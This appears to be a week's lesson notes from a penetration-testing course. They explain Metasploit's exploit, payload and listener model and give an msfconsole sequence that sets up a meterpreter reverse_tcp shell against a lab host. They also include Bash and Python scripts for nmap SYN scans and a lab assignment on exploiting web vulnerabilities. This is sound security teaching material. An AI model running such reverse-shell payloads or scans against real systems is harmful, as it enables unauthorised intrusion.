Week 9 — Automation and Metasploit

Learning objectives

• Understand the Metasploit model: exploit, payload, listener.
• Automate repetitive steps without losing traceability.
• Use Python and Bash for what Metasploit does not do well.

The Metasploit model in three parts

• Exploit: the logic that triggers the flaw.
• Payload: what the exploit runs (meterpreter/reverse_tcp for example).
• Listener: the attacker-side service that receives the reverse connection.

msfconsole -q

use exploit/multi/http/example
set RHOSTS 10.0.0.15
set LHOST 10.0.0.5
set LPORT 4444
set PAYLOAD linux/x64/meterpreter/reverse_tcp
run

What you need to have understood before pressing run:

• Where the reverse connection lands. On a NAT network, traffic does not magically come back.
• The exploit ↔ payload compatibility: linux/x64 does not work on a 32-bit target.
• The footprint left behind: Meterpreter is noisy, shell_reverse_tcp less so.

Scripting cleanly around Metasploit

# Controlled Bash loop: idempotent, logged, never silent.
for host in $(cat targets.txt); do
  echo "[+] $(date -Is) test $host"
  nmap -sS -p 22,80,443 -oN "logs/$host.nmap" "$host"
done

# Python for a task Bash would make fragile.
import ipaddress, subprocess, json, pathlib

network = ipaddress.ip_network("10.0.0.0/28")
results = {}
for host in map(str, network.hosts()):
    process = subprocess.run(["nmap", "-sS", "-p", "22,80,443", "-oX", "-", host],
                             capture_output=True, text=True, check=False)
    results[host] = process.stdout
pathlib.Path("logs/scan.json").write_text(json.dumps(results, indent=2))

Traceability rules

• One folder per engagement, versioned in a private Git repo (never on public GitHub).
• A commands.md file where you copy each command before running it.
• Screenshots dated and numbered.

Lab 2 — Due this week

Deliverable expected: three Top 10 vulnerabilities exploited on the vulnerable application chosen in week 7, with the complete request, screenshot, impact and remediation. 8 to 12 pages.